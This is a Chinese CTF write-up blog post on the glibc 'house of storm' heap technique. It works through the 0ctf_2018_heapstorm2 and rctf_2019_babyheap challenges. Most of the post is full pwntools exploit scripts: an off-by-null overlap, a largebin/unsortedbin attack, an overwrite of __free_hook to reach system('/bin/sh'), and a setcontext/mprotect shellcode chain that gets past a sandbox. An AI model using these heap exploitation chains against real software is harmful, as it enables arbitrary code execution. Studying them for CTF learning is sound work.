rctf_2019_babyheap、0ctf_2018_heapstorm2学习(house of storm)

0ctf_2018_heapstorm2

这道题算是house of storm的起源。
house of storm的原理其实就是:结合利用largebin attack和劫持unsortedbin后一个chunk的bk,实现把堆地址写入到任意地址,再结合unsortedbin的bk指针分配时只检查size而不检查chunk完整性(这里有点疑惑,unlink检查应该很严格,可能是绕过了而不是没有检查)分配到这个地址上(add(0x48))实现的结果和unlink差不多。
具体利用条件:

  1. glibc2.30以下
  2. 在unsortedbin和largebin中需要有两个chunk,这两个chunk要在一个index下并且unsortedbin中的index要比largebin的大(largebin attack条件)
  3. unsortedbin的bk可控(为了分配下一个chunk)
  4. largebin中的bk和bk_nextsize可控
    对于第二,三,四个条件,只需要off-bu-null即可以实现。
    heap_storm在实战中目前只碰到了rctf_2019_babyheap和0ctf_2018_heapstorm2,这两题的共同点是开启mallopt函数,限制没有fastbin,于是任意分配会有障碍

漏洞分析

edit中存在off-by-null我ida这里反汇编不是很明显
在这里插入图片描述off-by-null其实可以实现很多事情。之前的sctf的一道题就是用off-by-null在没有show函数的情况下getshell的。这里类似的思路,对风水控制chunk-overlapping。这里的payload其实可以当成模板来用,主要是构造两个chunk overlapping并且大小不同。最后的结果是有两个chunk在largebin和unsortedbin中

	# form chunk overlapping
    add(0x18)#0
    add(0x508)#1
    add(0x18)#2
    update(1,'h'*0x4f0+p64(0x500))
    add(0x18)#3
    add(0x508)#4
    add(0x18)#5
    update(4,'h'*0x4f0+p64(0x500))
    add(0x18)#6
    # debug()
    free(1)
    update(0,'h'*(0x18-12)) #don't overlap "heapstorm2"
    # debug()
    add(0x18)#1
    add(0x4d8)#7
    free(1)
    free(2)# form overlap,unlink(backward consolidate)
    add(0x38)#1, overlap with 7
    add(0x4e8)#2,  get from unsortedbin
    # debug()

    #create another overlap chunk
    free(4)
    update(3, 'h'*(0x18-12))    #off-by-one
    add(0x18)     #4
    add(0x4d8)    #8
    free(4)
    free(5)         #backward consolidate
    add(0x48)     #4,overlap with chunk8, remember we have not get the remain unsortedbin chunk
    free(2) #2's size is 0x4f0
    add(0x4e8)# put 0x4c0 chunk into largebin
    free(2)#into unsortedbin

下图为调试结果
在这里插入图片描述
接下来是关键的largebin attack和unsortedbin attack
由于这里的对管理块的位置是已知的,只需要分配到这里即可。修改unsortedbin的fd指针,可以导致unsortedbin attack把fake_chunk的fd位置写上main_arena+0x88的内容。
之后是修改largebin中chunk指针。注意这里largebin attack将会执行两件事情。第一把fake_chunk+8+0x10(largebin->bk->fd)(其实是fake chunk开头的堆块的bk位置)写上下一个堆块的地址,而正好就是下一个unsortedbin的块地址
第二件事是把fake_chunk-0x18-5中写上下一个堆块的地址。为什么是-5,因为这样会像fastbin一样,控制size前面都是0,变成0x0000000000000056
这两件事情做完了,我们就构造好了符合要求的伪造unsorted chunk

    storage = 0x13370000+0x800 #heap_ptr
    fake_chunk = storage - 0x20 #prepare for unsortedbin
    p1 = p64(0)*2+p64(0)+p64(0x4f1)
    p1+=p64(0)+p64(fake_chunk) #place of bk
    update(7,p1)# chunk 7 is in unsortedbin

    p2 = p64(0)*4+p64(0)+p64(0x4e1)
    p2+=p64(0)+p64(fake_chunk+8)
    p2+=p64(0)+p64(fake_chunk-0x18-5)# bk_nextsize, why -0x18-5?:prepare for the fake 0x0000000000000056
    update(8,p2)# chunk 8 is in largebin

引用一位博主的图,写house of storm也很好
https://www.cnblogs.com/Rookle/p/13140339.html
在这里插入图片描述接下来就是爆破看0x56大小的块能不能被分配到。分配到了就是unlink一样的解法。还是有点小麻烦就是这里的permission绕过,只需要设置为0 就可以了。
这道题又有点麻烦,自己加了异或简单加密,给调试看内存带来了很大的困难,真实烦银。所以这道题就当是学习知识点了。

exp

参考网上的,动手调试学会的以上内容:)
https://blog.csdn.net/weixin_44145820/article/details/105740530

from pwn import *

#r = remote("node3.buuoj.cn", 26141)
#r = process("./0ctf_2018_heapstorm2")

context.log_level = 'debug'

elf = ELF("./0ctf_2018_heapstorm2")
libc = elf.libc
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Command: "
def add(size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Size: ")
	r.sendline(str(size))

def delete(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def edit(index,content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index: ")
	r.sendline(str(index))
	r.recvuntil("Size: ")
	r.sendline(str(len(content)))
	r.recvuntil("Content: ")
	r.send(content)

def debug():
    gdb.attach(r,"brva 0xf21")
    edit(3,'0')

def pwn():
    add(0x18)#0
    add(0x508)#1
    add(0x18)#2
    add(0x18)#3
    add(0x508)#4
    add(0x18)#5
    add(0x18)#6

    edit(1, 'a'*0x4f0+p64(0x500))
    delete(1)
    edit(0, 'a'*(0x18-12))
    add(0x18)#1
    add(0x4d8)#7
    delete(1)
    delete(2)
    add(0x38)#1
    add(0x4e8)#2

    edit(4, 'a'*0x4f0+p64(0x500))
    delete(4)
    edit(3, 'a'*(0x18-12))
    add(0x18)#4
    add(0x4d8)#8
    delete(4)
    delete(5)
    add(0x48)#4

    delete(2)
    add(0x4e8)#2
    delete(2)

    storage = 0x13370800
    fake_chunk = storage - 0x20
    payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
    edit(7, payload)
    payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
    edit(8, payload)

    add(0x48) #0x133707e0
    # debug()
    payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
    edit(2, payload)

    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8) # the addr which unsortedbin attack hits
    edit(0, payload)

    show(1)
    r.recvuntil("]: ")
    heap = u64(r.recv(6).ljust(8, '\x00'))
    success("heap:"+hex(heap))

    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
    edit(0, payload)

    show(1)
    r.recvuntil("]: ")
    malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']
    success("malloc_hook:"+hex(malloc_hook))

    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
    edit(0, payload)
    edit(1, p64(system))
    delete(2)


    r.interactive()

if __name__ == "__main__":
    #pwn()

    while True:
        # r = process('./0ctf_2018_heapstorm2')
        r = remote('node4.buuoj.cn',29164)
        try:
            pwn()
        except:
            r.close()
			


rctf_2019_babyheap

学完上面的知识点再来做这道题就会觉得很easy,两道题非常相似,而且都是用了mallopt这个函数。这道题没有加密,开了沙箱,难度感觉是降低了的

踩坑

  1. 首先是泄露libc,这道题控制指针也是随机化的,没法正常unlink到控制块,像刚才那样,于是就考虑劫持free_hook(上一题为什么不行?因为这样方便并且还要绕过permission检测)libc泄露可以通过off-by-null得到unsortedbin中的overlapping chunk
  2. 由于开了沙箱,要用setcontext但是注意如果要使用set_context+mprotect+shellcode需要sigreturnframe这样chunk大小就不够(200多Byte),后面还是自己重新堆风水修改的
  3. read的shellcode读入的块大小很惊险,67/72差点就不够了。一开始没有用xor导致无法orw
    其他的都比较类似,尤其堆风水思路差不多,直接套就可以。

exp

from pwn import *
io=process('./rctf_2019_babyheap')
context.log_level='debug'
context.arch = "amd64"
elf=ELF('./rctf_2019_babyheap')
libc=elf.libc

def add(size):
    io.recvuntil('Choice:')
    io.sendline(str(1))
    io.recvuntil('Size:')
    io.sendline(str(size))

def edit(index,content):
    io.recvuntil('Choice:')
    io.sendline(str(2))
    io.recvuntil('Index:')
    io.sendline(str(index))
    io.recvuntil('Content:')
    io.send(content)

def delete(index):
    io.recvuntil('Choice:')
    io.sendline(str(3))
    io.recvuntil('Index:')
    io.sendline(str(index))

def show(index):
    io.recvuntil('Choice:')
    io.sendline(str(4))
    io.recvuntil('Index:')
    io.sendline(str(index))

def debug():
    gdb.attach(io,"brva 0x1329")
    show(0)

def pwn():
    # fake chunkoverlap get libc_addr
    # pause()
    add(0x18)#idx0
    add(0x18)#idx1
    add(0xf8)#idx2
    add(0x18)#idx3
    delete(0)
    edit(1,p64(0xdeadbeef)*2+p64(0x40))
    delete(2)# off-by-null overlapping
    # debug()
    add(0x18)
    show(1)
    libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    success("libc_info----->" + hex(libc_info))
    libc_base = libc_info-0x3c4b78
    success("libc_base----->" + hex(libc_base))
    add(0x118)#2
    # refresh the heap and bins
    delete(3)
    delete(2)
    delete(0)
    # debug()





    # house of storm

    # step1: overlap chunk
    add(0x18)#0
    add(0x508)#2
    add(0x18)#3
    add(0x18)#4
    add(0x508)#5
    add(0x18)#6
    add(0x18)#7
    # construct overlapping chunk2 with 8
    edit(2,'a'*0x4f0+p64(0x500))
    delete(2)
    edit(0,p64(0)*4)#off by null
    # debug()
    add(0x18)#2
    add(0x4d8)#8
    delete(2)
    delete(3)
    add(0x38)#idx2,overlap with 8
    add(0x4e8)#idx3
    # debug()
    # forge another overlapped chunk 5 with 9
    edit(5,'a'*0x4f0+p64(0x500))
    delete(5)
    edit(4,p64(0)*4)#off by null
    # debug()
    add(0x18)#5
    add(0x4d8)#9
    delete(5)
    delete(6)
    add(0x48)#idx5,overlap with 9,smaller than previous one
    # the remains 0x4d8 is in unsortedbin
    # debug()

    # step2:house_of_storm attack
    delete(3)# 3's size is 0x4e8
    add(0x4e8)#idx3
    delete(3)
    # debug()
    fake_chunk = libc_base+libc.sym['__free_hook']-0x20
    # now largebin and unsortedbin should have chunks, chunks in unsortedbin is larger
    edit(8,p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk))# the position of bk in unsortedbin
    edit(9,p64(0)*5+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5))
    debug()
    add(0x48) #idx3
    #idx3+0x10 is free_hook
    debug()


    # step3: write free_hook with setcontext+53,call sigreturn and mprotect---->read shellcode----->jump to shellcode
    free_hook = libc_base+libc.sym['__free_hook']
    setcontext = libc_base+libc.sym['setcontext']
    shellcode_addr = libc_base+libc.sym['__free_hook']
    shellcode_addr = free_hook&0xfffffffffffff000
    shellcode_read = """
    mov rdi,0
    mov rsi,{}
    mov rdx,0x1000
    mov rax,0
    syscall
    jmp rsi
    """.format(shellcode_addr)
    edit(3,p64(0)*2+p64(setcontext+53)+p64(free_hook+0x18)*2+asm(shellcode_read))
    frame = SigreturnFrame()
    frame.rsp = free_hook+0x10
    frame.rdi = shellcode_addr
    frame.rsi = 0x1000
    frame.rdx = 7
    frame.rip = libc.sym['mprotect']+libc_addr
    print len(str(frame))
    edit(0,str(frame))




if __name__ == "__main__":
    while True:
        io=process('./rctf_2019_babyheap')
        try:
            pwn()
            io.interactive()
        except:
            io.close()

在这里插入图片描述

总结

house of strom结合unsortedbin attack 和largebin attack,但是需要大小要求指针覆盖要求,常见于(包括但不限于)mallopt题目中,效果类似unlink。这里学到了unlink其实也可以分配到free_hook的位置(如果使用unsortedbin attack和largebin attack布置好了)还是有些小复杂的使用方法。也没有出现在how2heap中。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值